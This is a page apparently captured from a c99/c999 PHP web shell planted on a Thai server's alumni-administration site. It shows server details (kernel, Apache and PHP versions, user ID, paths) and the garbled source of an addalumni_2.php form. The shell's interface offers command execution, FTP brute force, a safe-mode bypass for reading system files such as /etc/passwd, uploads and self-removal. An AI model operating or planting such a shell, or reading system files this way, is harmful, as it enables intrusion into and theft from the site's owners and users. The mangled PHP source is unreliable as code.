!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/ealumni/admin/   drwxr-xr-x
Free 51.01 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     addalumni_2.php (11.23 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
//include_once "template.php";
include_once "../link/function.php";
include_once 
"../class/clsProvince.php";
include_once 
"../class/clsDistrict.php";
include_once 
"../class/clsAmphur.php";

$oDt = new District($oC2);
$oAm = new Amphur($oC2);
$oPv = new Province($oC2);
$oDt2 = new District($oC2);
$oAm2 = new Amphur($oC2);
$oPv2 = new Province($oC2);
$oDt3 = new District($oC2);
$oAm3 = new Amphur($oC2);
$oPv3 = new Province($oC2);

include_once 
"../class/clsalumnibio.php";
confirmSubmit();
openWindow();
$oAb = new AlumniBio($oC1);
?>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<table width="602" border="0" align="center" cellpadding="0" cellspacing="1">
    <tr>
        <td>
          <label>
    <div align="center">
          <table width="602" align="center" border="0" cellpadding="0" cellspacing="1">
                <tr>
              <td colspan="4"><br>
                <table width="602" border="1" cellpadding="0" cellspacing="" bordercolor="<?php echo $GLOBALS['COLOR_BORDER_TABLE_1'];?>">
<?php 
            $oAb
->SearchByKey($alumniId);
            
$oAb->GetRecord();
?>
<tr align="left"> 
                    <td height="22" colspan="8" ><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>"><strong>·ÕèÍÂÙèÈÔÉÂìà¡èÒ (µÒÁÀÙÁÔÅÓà¹Ò)</strong></font></td>
                  </tr>
<tr align="left"> 
                    <td height="22" colspan="4" bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_4'];?>"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">·ÕèÍÂÙè</font></td>
                    <td width="483" height="22" colspan="4"bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_4'];?>"> 
                      <input type="text" name="homeAddress"  value="<? echo $oAb->homeAddress;?>" size="40">
                    </td>
                  </tr>
<?php
                $oDt
->districtName '';
                
$oAm->amphurName '';
                
$oPv->provinceName '';
                
                
$oDt->SearchByKey($oAb->homeDistrictId);
                
$oDt->GetRecord();
                
$oAm->SearchByKey($oAb->homeAmphurId);
                
$oAm->GetRecord();
                
$oPv->SearchByKey($oAb->homeProvinceId);
                
$oPv->GetRecord();
?>
                  <tr align="left"> 
                    <td colspan="4" height="22"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">µÓºÅ</font></td>
                <td height="22"  colspan="4"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><input type="text" name="homeDistrict" value="<?php echo $oDt->districtName;?>" size="20" class="input1" readonly>
                <IMG src="../picture/search.gif" width="15" height="19" border="0" align="absmiddle" id=IMG3 style="CURSOR: hand" onclick='OpenWindow("homeDistrictTable.php",550,350)'>
                <input type="hidden" name="homeDistrictId" value="<?php echo $oAb->homeDistrictId;?>">
                &nbsp;&nbsp; ÍÓàÀÍ &nbsp;&nbsp;<input type="text" name="homeAmphur" value="<?php echo $oAm->amphurName;?>" size="20" class="input1" readonly>
                    <input type="hidden" name="homeAmphurId" value="<?php echo $oAb->homeAmphurId;?>"></font></td>
                  </tr>
                  <tr align="left"> 
                    <td colspan="4" height="22" bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_4'];?>"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">¨Ñ§ËÇÑ´</font></td>
                    <td colspan="4" height="22" bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_4'];?>"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">
                    <input type="text" name="homeProvince" value="<?php echo $oPv->provinceName;?>" size="20" class="input3" readonly>
                    <input type="hidden" name="homeProvinceId" value="<?php echo $oAb->homeProvinceId;?>">
                    &nbsp;&nbsp;ÃËÑÊä»ÃɳÕÂì&nbsp;&nbsp;<input type="text" name="homeZipcode" value="<?php echo $oAb->homeZipcode;?>" size="5" maxlength="5" onKeyPress="if(event.keyCode < 48 || event.keyCode > 57) return false;"></font></td>
                  </tr>
                  <tr align="left"> 
                    <td colspan="4" height="22"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">â·ÃÈѾ·ì</font></td>
                    <td colspan="4" height="22"><input type="text" name="homePhoneNo" value="<?php echo $oAb->homePhoneNo;?>" size="10" maxlength="10" onKeyPress="if(event.keyCode < 48 || event.keyCode > 57) return false;"></td>
                  </tr>
<tr align="left"> 
                    <td height="22" colspan="8" ><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>"><strong>·ÕèÍÂÙèÈÔÉÂìà¡èÒ (»Ñ¨¨ØºÑ¹)</strong></font></td>
                  </tr>
<tr align="left"> 
                    <td height="22" colspan="4" bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_4'];?>"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">·ÕèÍÂÙè</font></td>
                    <td width="483" height="22" colspan="4"bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_4'];?>"> 
                      <input type="text" name="currentAddress"  value="<? echo $oAb->currentAddress;?>" size="40">
                    </td>
                  </tr>
<?php
                $oDt2
->districtName '';
                
$oAm2->amphurName '';
                
$oPv2->provinceName '';
                
                
$oDt2->SearchByKey($oAb->currentDistrictId);
                
$oDt2->GetRecord();
                
$oAm2->SearchByKey($oAb->currentAmphurId);
                
$oAm2->GetRecord();
                
$oPv2->SearchByKey($oAb->currentProvinceId);
                
$oPv2->GetRecord();
?>
                  <tr align="left"> 
                    <td colspan="4" height="22"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">µÓºÅ</font></td>
                <td height="22"  colspan="4"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><input type="text" name="currentDistrict" value="<?php echo $oDt2->districtName;?>" size="20" class="input1" readonly>
                <IMG src="../picture/search.gif" width="15" height="19" border="0" align="absmiddle" id=IMG3 style="CURSOR: hand" onclick='OpenWindow("currentDistrictTable.php",550,350)'>
                <input type="hidden" name="currentDistrictId" value="<?php echo $oAb->currentDistrictId;?>">
                &nbsp;&nbsp; ÍÓàÀÍ &nbsp;&nbsp;<input type="text" name="currentAmphur" value="<?php echo $oAm2->amphurName;?>" size="20" class="input1" readonly>
                    <input type="hidden" name="currentAmphurId" value="<?php echo $oAb->currentAmphurId;?>"></font></td>
                  </tr>
                  <tr align="left"> 
                    <td colspan="4" height="22" bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_4'];?>"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">¨Ñ§ËÇÑ´</font></td>
                    <td colspan="4" height="22" bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_4'];?>"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">
                    <input type="text" name="currentProvince" value="<?php echo $oPv2->provinceName;?>" size="20" class="input3" readonly>
                    <input type="hidden" name="currentProvinceId" value="<?php echo $oAb->currentProvinceId;?>">
                    &nbsp;&nbsp;ÃËÑÊä»ÃɳÕÂì&nbsp;&nbsp;<input type="text" name="currentZipcode" value="<?php echo $oAb->currentZipcode;?>" size="5" maxlength="5" onKeyPress="if(event.keyCode < 48 || event.keyCode > 57) return false;"></font></td>
                  </tr>
                  <tr align="left"> 
                    <td colspan="4" height="22"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">â·ÃÈѾ·ì</font></td>
                    <td colspan="4" height="22"><input type="text" name="currentPhoneNo" value="<?php echo $oAb->currentPhoneNo;?>" size="10" maxlength="10" onKeyPress="if(event.keyCode < 48 || event.keyCode > 57) return false;"></td>
                  </tr>
<tr align="left"> 
                    <td height="22" colspan="8" ><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>"><strong>·ÕèÍÂÙè·Õè·Ó§Ò¹¢Í§ÈÔÉÂìà¡èÒ</strong></font></td>
                  </tr>
<tr align="left"> 
                    <td height="22" colspan="4" bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_4'];?>"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">·ÕèÍÂÙè</font></td>
                    <td width="483" height="22" colspan="4"bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_4'];?>"> 
                      <input type="text" name="officeAddress"  value="<? echo $oAb->officeAddress;?>" size="40">
                    </td>
                  </tr>
<?php
                $oDt3
->districtName '';
                
$oAm3->amphurName '';
                
$oPv3->provinceName '';
                
                
$oDt3->SearchByKey($oAb->officeDistrictId);
                
$oDt3->GetRecord();
                
$oAm3->SearchByKey($oAb->officeAmphurId);
                
$oAm3->GetRecord();
                
$oPv3->SearchByKey($oAb->officeProvinceId);
                
$oPv3->GetRecord();
?>
                  <tr align="left"> 
                    <td colspan="4" height="22"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">µÓºÅ</font></td>
                <td height="22"  colspan="4"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><input type="text" name="officeDistrict" value="<?php echo $oDt3->districtName;?>" size="20" class="input1" readonly>
                <IMG src="../picture/search.gif" width="15" height="19" border="0" align="absmiddle" id=IMG3 style="CURSOR: hand" onclick='OpenWindow("officeDistrictTable.php",550,350)'>
                <input type="hidden" name="officeDistrictId" value="<?php echo $oAb->officeDistrictId;?>">
                &nbsp;&nbsp; ÍÓàÀÍ &nbsp;&nbsp;<input type="text" name="officeAmphur" value="<?php echo $oAm3->amphurName;?>" size="20" class="input1" readonly>
                    <input type="hidden" name="officeAmphurId" value="<?php echo $oAb->officeAmphurId;?>"></font></td>
                  </tr>
                  <tr align="left"> 
                    <td colspan="4" height="22" bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_4'];?>"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">¨Ñ§ËÇÑ´</font></td>
                    <td colspan="4" height="22" bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_4'];?>"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">
                    <input type="text" name="officeProvince" value="<?php echo $oPv3->provinceName;?>" size="20" class="input3" readonly>
                    <input type="hidden" name="officeProvinceId" value="<?php echo $oAb->officeProvinceId;?>">
                    &nbsp;&nbsp;ÃËÑÊä»ÃɳÕÂì&nbsp;&nbsp;<input type="text" name="officeZipcode" value="<?php echo $oAb->officeZipcode;?>" size="5" maxlength="5" onKeyPress="if(event.keyCode < 48 || event.keyCode > 57) return false;"></font></td>
                  </tr>
                  <tr align="left"> 
                    <td colspan="4" height="22"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">â·ÃÈѾ·ì</font></td>
                    <td colspan="4" height="22"><input type="text" name="officePhoneNo" value="<?php echo $oAb->officePhoneNo;?>" size="10" maxlength="10" onKeyPress="if(event.keyCode < 48 || event.keyCode > 57) return false;"></td>
                  </tr>
                 </table></td>
                              </tr>
                              <tr> 
                                <td height="22" colspan="4" align="center"><br>
                                    <input type="submit" name="add" value="ºÑ¹·Ö¡¢éÍÁÙÅ">
                                    <input type="reset" name="clear" value="ź¢éÍÁÙÅ">
                                    <input type="button" name="cancel" value="¡àÅÔ¡" >
                                    <input type="hidden" name="method" value="edit">
                                    <input type="hidden" name="alumniId" value="<?php echo $alumniId;?>">
                                <input type="hidden" name="status" value="<?php echo $status;?>">    
                                </td>
                              </tr>
                            </table>                          
      </div>        
          <br><br><br><br>
        </td>
       </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0137 ]--